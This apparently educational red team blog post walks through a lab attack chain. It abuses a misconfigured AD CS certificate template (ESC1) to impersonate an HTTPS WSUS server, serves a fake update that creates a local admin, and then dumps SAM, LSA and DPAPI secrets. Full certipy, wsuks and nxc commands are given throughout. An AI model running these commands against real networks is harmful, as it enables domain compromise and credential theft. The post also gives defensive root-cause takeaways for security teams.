🔐 WSUS over HTTPS? Still Secure? Think Again…

From Domain User to Full Domain Control via AD CS ESC1 & WSUS MITM Attack (Even Over HTTPS!)

🧠 TL;DR

This post walks through a realistic red team scenario where a misconfigured Active Directory Certificate Services (AD CS) combined with a legitimate HTTPS WSUS server leads to full domain compromise.
We leverage:

• ESC1 (CVE-2022–26923) vulnerability in AD CS
• WSUSKS tool for WSUS MITM
• And a poorly secured certificate template.

All steps are supported with screenshots (1–11) from an internal lab.
Starting with just a Domain User, we end up extracting Admin credentials, hashes, and DPAPI secrets. 🔥

🔧 Lab Setup

• AD Server with AD CS configured
• WSUS Server with HTTPS (port 8531)
• Domain-joined Windows client
• Attacker machine (Kali Linux)

🧩 Key Concepts

Active Directory (AD)
Manages user accounts, groups, computers, and policies within a Windows network.

WSUS (Windows Server Update Services)
Used by sysadmins to distribute updates across internal machines, avoiding internet-based updates.

HTTPS
Encrypts communication over the network using TLS. WSUS over HTTPS is intended to prevent MITM (Man-In-The-Middle) attacks.

Get Mohammed ElKhateb (HoRRus)’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

But… is it foolproof? Let’s find out.

📍 Step 1: Initial Scan — WSUS Not Vulnerable (Or Is It?)

We first run wsuks to check for WSUS attack feasibility. The tool confirms the WSUS is not vulnerable because it’s using HTTPS.

✅ HTTPS detected: https://wsus-server.lab.local:8531
❌ Not vulnerable to classic WSUS MITM via HTTP

But what if we could impersonate the HTTPS WSUS server itself?

Step 2: Discovering ESC1 Vulnerability in AD CS

Using certipy, we enumerate available certificate templates with the following:

certipy-ad find -u USER -p 'Password' -dc-ip IP --stdout --vuln

🔍 We discover a misconfigured template: WebServer
🟢 It allows Domain Users to request certificates
🟢 It accepts arbitrary Subject CNs

This is a textbook case of ESC1 (CVE-2022–26923):
If a template allows users to supply a custom CN, they can impersonate any machine — even wsus-server.lab.local.

Step 3: Requesting a Malicious Certificate

We use certipy to request a certificate pretending to be the WSUS server:

certipy-ad req -u USER -p 'Password' \
-dc-ip IP \
-ca 'lab-WIN-S28SBUGPE24-CA' \
-template 'WebServer' \
-subject 'CN=wsus-server.lab.local' \
-out CA.pfx

✅ Certificate generated with the identity of the real WSUS server
🔐 We export it to mazzo.pfx (contains private key)

Step 4: Convert Certificate to PEM Format

We convert the .pfx file to .pem for usage in our fake WSUS HTTPS server:

openssl x509 -in wsus.pem -text -noout

🔍 The cert shows CN=wsus-server.lab.local – exactly what we need for impersonation.

Step 5: Spin Up the Fake WSUS Server

We now launch a fake WSUS server using wsuks, this time with HTTPS support using our malicious cert:

sudo wsuks -t 10.10.1.210 \
--WSUS-Server wsus-server.lab.local \
--tls-cert wsus.pem

🛑 ARP Spoofing enabled to redirect traffic
🪝 Client redirected to our malicious WSUS
📦 Fake update served as KB3309696 → actually contains PsExec.exe that creates an admin user

Step 6: Payload Execution on Client

The Windows client (CLIENT01) checks for updates and downloads the fake KB3309696.
The payload gets executed via Windows Update and:

• ✅ Creates a new local user: user58436
• ✅ Adds them to the Administrators group

Just like that, we have Admin on the box.

Step 7: Dumping SAM, LSA & DPAPI Secrets

PWn3d!

Using nxc or any post-exploitation SMB tool:

nxc smb 10.10.1.210 -u user58436 -p 'BmHZ4W0uJ MEd1!' --local-auth --sam --lsa

✅ Extracted:

• SAM Hashes
• LSA Secrets (contains plaintext passwords)
• DPAPI Keys

Game Over. 🎯

⚠️ Root Cause: Misconfigured Certificate Template

This full attack was made possible because of a single misconfigured template (WebServer) that:

• ❌ Allowed Domain Users to request certs
• ❌ Allowed arbitrary Subject CN
• ❌ Did not require manager approval

Even though WSUS was using HTTPS, the client fully trusted the attacker because the certificate was valid and signed by a trusted internal CA.

💡 Takeaways

You can’t rely on HTTPS alone.
Internal CAs and AD CS misconfigurations can break the trust model from within.

In this case, a valid signed certificate was the key to bypassing HTTPS protections and impersonating critical infrastructure.

This attack was performed in a controlled lab for educational purposes only.
This scenario represents real misconfigurations often found in enterprise environments.

Stay secure — and always validate what your clients trust!

🛠 Tools:
- Certipy: https://github.com/ly4k/Certipy
- WSUSKS: https://github.com/NeffIsBack/WSUSKS

If you found this useful, consider giving it a clap 👏 or sharing it with your red/blue team friends!

👤 About the Author:
HoRRus is Red Teamer & Security Researcher interested in AD, internal attacks, and real-world exploitation techniques.

📬 Connect with me:
- 💼 LinkedIn: https://www.linkedin.com/in/mohammed-elkhateb-horrus

#ActiveDirectory
#CyberSecurity
#RedTeam
#WindowsSecurity
#PenetrationTesting